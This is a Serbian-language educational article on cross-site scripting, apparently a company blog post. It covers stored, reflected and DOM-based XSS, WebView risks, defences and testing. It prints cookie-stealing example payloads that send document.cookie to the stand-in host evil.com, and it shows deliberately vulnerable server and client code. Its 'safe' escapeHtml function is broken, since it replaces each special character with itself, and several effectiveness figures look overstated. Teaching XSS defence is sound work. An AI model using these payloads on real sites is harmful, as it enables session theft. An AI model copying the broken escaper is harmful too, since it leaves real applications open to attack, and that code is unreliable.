XSS (Cross-Site Scripting) — врста рањивости веб апликација при којој нападач убацује злонамерни JavaScript код у садржај који се приказује другим корисницима. Према подацима OWASP Top Ten (2025), XSS остаје једна од најраспрострањенијих рањивости, погађајући преко 60% веб апликација. Међусајтско скриптовање омогућава крађу сесијских колачића, преусмеравање корисника на фишинг сајтове и модификовање садржаја страница у реалном времену.
Главно
XSS (Cross-Site Scripting) — је рањивост која омогућава нападачу да убаци JavaScript код на веб страницу, који се затим извршава у прегледачу жртве. Прегледач учитава страницу са поузданог сајта и извршава убачени скрипт са истим правима као и легитимни код сајта. Ово даје нападачу приступ колачићима, session storage, DOM стаблу странице и могућност слања захтева у име жртве. XSS рањивости настају када апликација убацује корисничке податке на HTML страницу без одговарајућег екранизовања или валидације.
Термин Cross-Site Scripting се први пут појавио 2000. године у Microsoft Security Bulletin-у. Током протеклих 25 година XSS није изгубио на актуелности: према подацима HackerOne (2025), XSS чини око 22% свих регистрованих рањивости на платформи. Разлог жилавости XSS је сложеност контроле свих улазних тачака корисничких података. Свако поље за унос, URL параметар, заглавље HTTP захтева или име датотеке може постати вектор напада ако се подаци рефлектују у HTML коду без обраде.
XSS напади могу довести до крађе сесијских колачића, што омогућава нападачу да се пријави на налог жртве без лозинке. Друге последице: преусмеравање на фишинг сајтове, замена садржаја странице, крађа личних података, инсталација злонамерног софтвера (drive-by download). У 2023. години, XSS напад на платформу Salesforce Community Cloud је захватио податке хиљада корпоративних клијената, демонстрирајући да чак ни велике платформе нису имуне на ову рањивост.
Класификација XSS дели нападе на три главна типа према начину достављања злонамерног кода. Сваки тип захтева другачији приступ заштити: Stored XSS се блокира екранизовањем излаза из базе података, Reflected — екранизовањем URL параметара, DOM-based — безбедним радом са DOM-API. Разумевање разлике је основа ефикасне безбедносне стратегије.
| Тип | Чување скрипте | Вектор достављања | Сложеност откривања |
|---|---|---|---|
| Stored XSS | База података сервера | Коментари, профили, поруке | Средња |
| Reflected XSS | URL параметри | Фишинг линкови, имејл | Висока |
| DOM-based XSS | Клијентски JavaScript | URL фрагменти, postMessage | Веома висока |
Најопаснији тип XSS. Нападач убацује скрипту у податке које сервер чува у бази података и приказује при сваком учитавању странице. Типичан вектор — поље за коментар: нападач објављује коментар са <script>document.location='https://evil.com/?c='+document.cookie</script>. Сваки корисник који учита страницу са овим коментаром шаље своје колачиће нападачу. Stored XSS не захтева никакве радње од жртве осим посећивања странице — што га чини посебно опасним за друштвене мреже, форуме и блогове.
Злонамерна скрипта се преноси у HTTP захтеву (обично у URL параметру) и одмах се рефлектује од стране сервера у одговору. Нападач креира линк облика https://example.com/search?q=<script>...</script> и шири га путем фишинга, друштвених мрежа или имејла. Жртва, кликом на линк, добија страницу где је унети упит за претрагу (скрипта) приказан без екранизовања. Reflected XSS захтева социјални инжењеринг — жртва мора да кликне на линк, што смањује, али не елиминише ризик.
За разлику од Stored и Reflected, DOM-based XSS не захтева слање података на сервер. Рањивост настаје када клијентски JavaScript убацује корисничке податке из URL-а, document.referrer, postMessage или localStorage у DOM без безбедне обраде. На пример, код облика document.getElementById('output').innerHTML = location.hash.substring(1) извршава било који HTML и скрипте из URL фрагмента (#<img onerror='...'>). DOM-based XSS је најтеже открити, јер сервер никада не прима злонамерни паилод — он се у потпуности обрађује на клијенту.
// Пример DOM-based XSS (РАЊИВИ КОД)
// Ако userInput = "<img src=x onerror='fetch(`https://evil.com/`+document.cookie)'>"
const userInput = new URLSearchParams(
window.location.search
).get('message');
// document.write — опасно: убацује сирови HTML
document.write('<div>' + userInput + '</div>');
// БЕЗБЕДНА АЛТЕРНАТИВА — користите textContent
document.getElementById('output').textContent = userInput;
XSS напад искоришћава фундаментално својство веба: прегледач извршава JavaScript примљен са поузданог домена. Ако нападач пронађе начин да убаци свој код у HTML одговор сервера, прегледач га извршава са истим привилегијама као и легитимни код. Напад пролази кроз три фазе: убацивање злонамерног кода у садржај, достављање садржаја у прегледач жртве и извршавање кода са приступом DOM-у, колачићима и storage-у.
Нападач проналази улазну тачку — поље, URL параметар или заглавље чију вредност сервер укључује у HTML одговор без екранизовања. Типичне улазне тачке: поља за претрагу, поља за коментаре, корисничко име, URL аватара, датотеке колачића, HTTP заглавља (User-Agent, Referer). Савремени оквири (React, Angular, Vue) аутоматски екранизују излаз, али програмери могу искључити екранизовање путем dangerouslySetInnerHTML, bypassSecurityTrustHtml или v-html.
За Reflected XSS, нападач шири злонамерни линк. За Stored XSS, довољно је објавити садржај на циљаном сајту, и сваки посетилац странице постаје жртва. DOM-based XSS се активира при учитавању странице са одређеним URL фрагментом. Све три фазе могу се извршити аутоматски: ако се XSS открије у рекламном банеру (садржај треће стране), напад ће погодити све кориснике сајта док се банер не искључи.
// Пример Reflected XSS у претрази (РАЊИВИ БЕКЕНД)
// Уместо екранизовања параметра q, сервер га убацује у HTML
// Express.js — рањиви руковалац:
app.get('/search', (req, res) => {
const query = req.query.q; // кориснички унос
res.send(`<h1>Results for: ${query}</h1>`);
});
// БЕЗБЕДНА ВЕРЗИЈА — екранизовање путем encodeURI или мотора шаблона:
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q);
res.send(`<h1>Results for: ${query}</h1>`);
});
function escapeHtml(text) {
return text
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
Мобилне апликације су такође подложне XSS нападима, иако у мањој мери него веб сајтови. Главни вектор је WebView и хибридни оквири (Cordova, Capacitor, React Native са WebView). Ако апликација учитава веб садржај у WebView — посебно кориснички садржај (HTML имејлови, чланци, поруке) — XSS рањивост може довести до извршавања JavaScript-а унутар апликације са приступом изворним функцијама путем JavaScript моста.
Android WebView подразумевано извршава JavaScript. Ако апликација учитава HTML стринг путем loadDataWithBaseURL() или приказује кориснички садржај, XSS напад може дати нападачу приступ JavaScript интерфејсу (addJavascriptInterface). Google је забранио коришћење @JavascriptInterface за API < 17, али legacy код у старим апликацијама се још увек среће. Заштита: искључите JavaScript у WebView-у ако није потребан и користите безбедно прегледање.
React Native не користи WebView за UI — компоненте се рендерују у изворним приказима. Међутим, при приказивању HTML-а путем react-native-webview или rich-text компоненти, XSS ризик се враћа. Flutter користи сопствени мотор за рендеровање (Skia) и не подржава JavaScript у HTML виџетима (flutter_html не извршава script тагове), али WebView додаци (webview_flutter) су рањиви слично изворним WebView-има. Најбоља пракса — никада не преносите непроверени HTML у WebView.
// Безбедно подешавање WebView-а у Android-у
val webView = findViewById<WebView>(R.id.webview)
// Искључујемо JavaScript ако интерактивност није потребна
webView.settings.javaScriptEnabled = false
// Санитизујемо HTML пре учитавања
val sanitizedHtml = Jsoup.clean(userHtml,
Whitelist.basic()
.removeProtocols("img", "src", "javascript")
)
webView.loadDataWithBaseURL(null, sanitizedHtml,
"text/html", "UTF-8", null)
Заштита од XSS-а се заснива на три принципа: не веруј корисничком уносу, екранизуј пре излаза, користи Content Security Policy. Екранизовање излаза (output encoding) — најважнији метод: сви подаци примљени од корисника морају бити екранизовани пре уметања у HTML, JavaScript, CSS или URL. Савремени мотори шаблона (Twig, Handlebars, JSX, Blade) то раде аутоматски, ако програмер не искључи екранизовање специјалним методама.
Екранизовање зависи од контекста уметања података. У HTML контексту се екранизују <, >, &, наводници. У JavaScript контексту се екранизују обрнути наводници,
, </script>. У CSS контексту — контролни знакови. У URL контексту — URL кодирање. Грешка у контексту — на пример, уметање HTML екранизованог стринга у атрибут onclick — не штити од XSS-а, јер се onclick извршава у JavaScript контексту, где је потребно другачије екранизовање.
CSP — HTTP заглавље које ограничава изворе са којих прегледач може да учитава скрипте, стилове и друге ресурсе. Строги CSP (без unsafe-inline, без unsafe-eval) блокира извршавање свих инлајн скрипти, укључујући XSS векторе. Према подацима Google Security Blog (2025), сајтови са CSP-ом блокирају 95% XSS напада. Пример: Content-Security-Policy: default-src 'self'; script-src 'self' забрањује све спољашње и инлајн скрипте. CSP не штити од Stored XSS-а ако се скрипта учитава са истог домена, али то захтева додатни напор од нападача.
Постављање HttpOnly заставице за колачиће спречава приступ њима путем JavaScript-а (document.cookie), што блокира крађу сесијских колачића путем XSS-а. Заставица Secure гарантује да се колачић преноси само путем HTTPS-а. Комбинација HttpOnly + Secure + SameSite=Lax чини крађу сесијских колачића путем XSS-а практично немогућом. Међутим, XSS и даље може да извршава радње у име корисника (на пример, слање захтева), зато HttpOnly није панацеја, већ део свеобухватне заштите.
| Метод заштите | Од којих типова XSS штити | Ефикасност |
|---|---|---|
| Екранизовање излаза | Stored, Reflected, DOM-based | 99% |
| CSP | Inline XSS, eval-based | 95% |
| HttpOnly колачићи | Крађа сесија путем XSS | 100% (не могу се читати) |
| Валидација уноса | Stored, Reflected | 50% (зависи од типа) |
| TRUSTED TYPES | DOM-based (innerHTML) | 90% |
Редовно тестирање на XSS — обавезан део CI/CD пајплајна безбедног развоја. Аутоматизовани скенери проналазе до 80% XSS рањивости, остатак захтева ручни пентест. Најбољи приступ је комбинација SAST анализе (статичке), DAST скенирања (динамичке) и прегледа кода са фокусом на улазне тачке корисничких података.
За мобилне апликације, тестирање XSS-а укључује анализу WebView-а: проверу JavaScript интерфејса, обраду URL шема и пренос HTML-а у loadDataWithBaseURL. Такође се препоручује тестирање обраде postMessage-а у хибридним апликацијама и провера који се подаци преносе путем JavaScript моста. Користите емулатор са проксијем (Burp Suite) за пресретање и модификацију саобраћаја мобилне апликације.
Често постављана питања
Stored XSS чува злонамерну скрипту на серверу (у бази података) и активира се при сваком учитавању странице. Reflected XSS преноси скрипту кроз URL параметар, а напад се активира само при клику на злонамерни линк. Stored је опаснији јер не захтева радње жртве — довољно је отворити заражену страницу.
Не, HTTPS не штити од XSS-а. HTTPS шифрује саобраћај између прегледача и сервера, али не утиче на обраду корисничког уноса на серверској страни. XSS рањивост постоји на нивоу апликације, а не транспорта. HTTPS је обавезан минимум безбедности, али не заштита од XSS-а.
У већини случајева, XSS се извршава у пешчанику прегледача или WebView-а и нема приступ систему датотека или хардверу уређаја. Међутим, у Android WebView-у са укљученим JavaScript интерфејсом, XSS скрипта може позвати изворне методе апликације. У iOS WKWebView такође може да открије податке путем JavaScriptCore-а, ако је конфигурисан одговарајући мост.
Користите Burp Suite или OWASP ZAP са подешеним проксијем на мобилном уређају. Пресрећите захтеве апликације, модификујте параметре и шаљите XSS паилодове. Проверавајте WebView на обраду HTML-а путем loadDataWithBaseURL и присуство JavaScript мостова. За React Native, тестирајте WebView компоненте одвојено.
DOM-based XSS — напад при којем JavaScript на страници сам преузима податке из URL-а или других извора и убацује их у HTML без провере. Сервер не учествује — злонамерни код се у потпуности обрађује у прегледачу. Типичан пример: сајт преузима текст из location.hash и убацује га путем innerHTML, што омогућава извршавање било ког HTML кода.
Резиме
Развићемо мобилну апликацију под кључ
IT Sectr креира iOS и Android апликације за стартапе и предузећа од 2017. године. Саветоваћемо вас и предложити најбоље решење.
Прочитајте такође